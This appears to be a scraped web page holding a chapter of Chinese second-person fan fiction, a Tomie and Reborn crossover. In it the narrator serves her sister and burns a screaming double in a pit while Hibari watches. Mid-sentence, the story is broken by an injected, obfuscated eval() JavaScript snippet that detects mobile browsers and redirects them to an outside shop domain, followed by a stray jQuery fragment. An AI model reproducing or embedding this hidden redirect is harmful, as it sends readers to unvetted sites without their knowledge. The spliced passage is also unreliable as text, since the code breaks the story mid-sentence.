你有一个姐姐。

    她很美。

    美到所有人都会爱上她。

    包括你的父母。

    ——她的名字叫做川上富江。

    **

    “月江,你可是为了成为我的玩偶才出生的啊。”

    镜子前的黑发美人语气漫不经心,漂亮得近乎不真实的脸上带着一点不耐烦。

    “好的,姐姐。”你点头。

    没错,你的名字叫做月江。

    【既然是满月,那就叫月江吧。】这是姐姐随口定下的名字。

    不算好听。

    但你也习惯了。

    你是一名再普通不过的准高一生。

    你有一对很爱姐姐,却完全不在意你的父母。

    不过你并不觉得失落,因为姐姐对你很好。

    尽管她时常厌恶你长相过于普通、毫无魅力,可她会在父母忘记你时给你带饭,会在你没有生活费时把钱丢到你脸上。甚至当周围的人拿着刀围住你时,她也会扬起下巴让你“滚远一点”。

    姐姐只是不善言辞,她其实很善良。

    你一直这么认为。

    而且,多亏了姐姐,你才能出生在这世界上。

    “月江。”她忽然不耐烦地叫你。

    你抬头。

    “我受够这里了。”她说,“我要去东京。”

    你点头:“好的,姐姐。”

    “作为我的玩偶,你当然要跟我一起。”

    “好的,姐姐。”

    你继续点头,将自己的志愿改为了PK学园。

    反正你也没有别的打算。而且姐姐很柔弱,根本没办法一个人在东京活下去。

    你熟练地收拾好地上不知从哪儿来的血迹,起身。

    “姐姐,我去帮你买杂志。”

    “砰”。

    你的额头被砸了一只口红。

    “闭嘴月江。”

    黑发美人转头,细长的眉微微蹙起,眼下的泪痣随着她的情绪轻轻晃动。

    “好的,姐姐。”

    你把口红捡起来,揣进兜里。

    房间里到处都是散落的珠宝,还有像看到肉骨头一样、死死盯着姐姐的父母。

    你稍微有点苦恼。

    ……回来还要再打扫一次。

    这样想着,你走出家门。

    **

    虽然并盛町被姐姐称为乡下,但你其实还是蛮喜欢这里的。

    至于理由……

    你歪了下脑袋。

    云雀同学是和姐姐一样美丽且善良的人……可以吗?

    你曾经与云雀恭弥同班过一年。

    云雀同学不常来教室,偶尔过来,教室里的氛围就会变得比冬季的森林还要安静……老师的声音也很抖。

    不过你觉得云雀同学也是和姐姐一样善良的人。

    ——因为云雀同学帮你处理了垃圾。

    家里偶尔会冒出些奇怪的东西……一团一团黏糊糊的,还会叽叽喳喳地说话。

    姐姐说,那些都是冒牌货,让你必须清理干净。

    你对此很烦苦恼。

    因为这会把衣服弄得很脏,根本没办法再穿第二次。

    更重要的是,你不知道该怎么处理它们。

    并盛町是不允许随意焚烧垃圾的。

    思考了很久之后,你得出了结论:

    ‘云雀同学是并盛的风纪委员,只要得到他的允许,就不算违反风纪了吧?’

    抱着这样的想法,你手上拖着行李箱、背包装着铁锹,拦下了独自巡逻的云雀同学。

    “云雀同学,晚上好。请问我可以破例烧点东西吗?”

    夜晚的街道因为宵禁空无一人,这让你稍微松了口气。

    这样的话,就不算群聚了。

    “我会打扫的很干净的。”

    你站在黑发少年面前,用衬衣擦了擦脏掉的手。

    红通通的颜色瞬间染红了洁白的衬衣。

    “……”

    云雀同学沉默地看着你。

    他的目光从你染脏的衣摆,缓慢地落到你手中的行李箱上。

    行李箱动了一下。

    你顺着他的视线低头,这才后知后觉地发现外壳上也蹭上了些红色。

    “啊……”

    你有点不好意思地用袖子擦了擦,“我真的会处理干净的。”

    “……随你。”云雀同学说。

    “实在是太感谢了,云雀同学。”你认真地道谢,重新拖起行李箱,想找一个适合的地方去处理。

    “……”

    一道披着校服的背影忽然越过了你,和你保持着不远不近的距离。

    “嗯?”你不解地停下。

    犹豫片刻,你正想换个方向走,前方的云雀恭弥却停下了脚步。

    他转过头看你。

    在皎白的月光下,云雀同学古典美的脸似乎带着一丝丝神性。

    他没有说话,但凭借与喜怒无常的姐姐常年相处所积累的经验,你突然奇迹般地领悟了他的意思。

    “请问是让跟着你走吗?”你确认道。

    云雀同学没有答话,只是转回身,大步向前方走去。

    “……”

    短暂的犹豫,你跟了上去。

    ……

    目的地是后山的一片空地。

    云雀恭弥停下脚步,随意找了一棵粗壮的树,双手环胸,闭目养神般地斜靠在树上。

    你眨眨眼睛,盯着他看了一会儿,才抽出背包里的铁锹开始挖坑。

    行李箱时不时发出“砰砰砰”的动静,在寂静的后山中有些吵闹。

    为了不打扰云雀同学继续巡逻,你加快了挖掘速度。

    你很快就挖好了一个足以容纳半个人的深坑,费力将行李箱推了进去。

    “咚”地一声闷响。

    你想了想,又爬下去,将行李箱打开,露出了里面被保鲜膜包裹得严严实实的、扭来扭去物体。

    这样烧得应该会更快一点吧?

    你这样想着,又费力地爬回坑边,掏出随身携带的汽油泼下去,最后将冒着火苗的火柴丢进坑底。

    温暖的火苗照亮了夜色,“滋啦”的烧焦声,以及刺耳的尖叫声打破了黑夜的寂静。

    “啊啊啊——”

    似乎有点太吵了。

    你不好意思地走到闭目养神的云雀同学身旁,歉意道:“抱歉云雀同学,我会想办法让它稍微安静一点的。”

    云雀同学没睁眼,也没答话。

    ……是睡着了吗?

    你松了口气。

    云雀同学的睡眠质量真好。

    你羡慕地想道,快步走回火坑边,又往里添了些四周捡来的干柴,希望它能烧得更快一点。

    “月江——我才是你的真正的姐姐啊!”

    “好痛……好痛……”

    “月江、月江……”

    尖叫声与咒骂声逐渐变得断断续续,最终被火焰一点点吞没。

    你松了口气。

    你低头看着自己身上红红的衣服和袜子,想着姐姐“必须处

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540520|203929||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    理干净”的叮嘱,犹豫地回头望了一眼云雀同学。

    他依旧双眼紧闭,似乎睡得很熟。

    太好了。

    你趁机将身上脏掉的衣物连同袜子全部脱下来,一股脑地丢进火堆,然后从背包中找出新衣服换上。

    做完这一切,你重新走回坑边,蹲下身,抱着膝盖,看着火苗一点点往下塌。

    ……

    有点像烤红薯。

    你盯着那团火,忽然有点走神。

    如果埋进去烤的话,应该会更香一点吧。

    不过姐姐说,这样很粗俗。

    你开始思考有没有偷吃烤红薯但不被姐姐发现的办法。

    火苗渐渐消失,深坑只剩下一堆灰烬,被夜风吹得四处飘散。

    你回过神,站起身,把周围的痕迹一点点清理干净。

    很快,这里就恢复成了原本的样子。

    “谢谢你,云雀同学。我已经处理好了。”你认真道谢。

    “……”云雀睁开双眼睛,目光淡淡地扫过你,微顿。

    你下意识抬手摸了摸脸。

    ……是沾到灰了吗?

    还没来得及问出口,你发现云雀恭弥移开了目光,越过你的肩膀,看向了身后的空地。

    片刻之后,他收回视线,再次看了你一眼,什么也没说,转身离开。

    你连忙追了上去。

    “云雀同学,”你有些不好意思地开口,“下次……我还可以烧垃圾吗?”

    这样问似乎有点厚脸皮。

    但如果姐姐又让你清理那些东西的话,你还是需要一个地方处理。

    云雀侧过头,看了你一眼。

    那双凤眸依旧看不出什么情绪。

    就在你以为对方不会回答时,他说了一句话:“十二点。”

    你微微一愣。

    ……是指,晚上十二点可以来找他帮忙吗?

    还是说,只能在那个时间?

    你没有太想明白,但还是点点头:“好的,云雀同学。”

    结果,从那之后的一整年,你都经常在深夜十二点,和云雀恭弥一起出现在并盛的后山。

    对此你深感歉意,特意拿出了一部分生活费给云雀同学买饮料。

    “谢谢你,云雀同学,今天也麻烦你了。”

    你收拾好残局,认真地递过去一瓶椰奶。

    “……”

    没说话但是拿走了。

    ……真可惜。

    本来还想着,如果云雀同学不喝的话,就可以自己喝掉的。

    你叹了口气,从那瓶没能进自己肚子里的椰奶上收回思绪,拿起一本姐姐喜欢的杂志去收银台结账。

    “哟,月江,又来了啊。”

    笑容和蔼的店员先生朝你打招呼,“听说你之后要去东京上学了?”

    “是的。”你点点头,从钱包里取出硬币递过去。

    “是吗是吗,那很好哦。”他一边找零,一边笑着说,“东京很热闹的。”

    他把零钱递给你,却没有立刻收回手。

    “对了,”他像是忽然想起什么,“最近有个很不错的软件。”

    你抬头:“什么?”

    店员先生盯着前方,目光有点空:“……《订阅男友》。”

    他的语气轻飘飘的,“沉浸式恋爱模拟。包教包会。”

    你安静地听着。

    “东京的高中生……都是会恋爱的。”他说着,歪歪脑袋,笑容依旧温和,“月江,既然要去东京上学,总要提前适应一下吧?”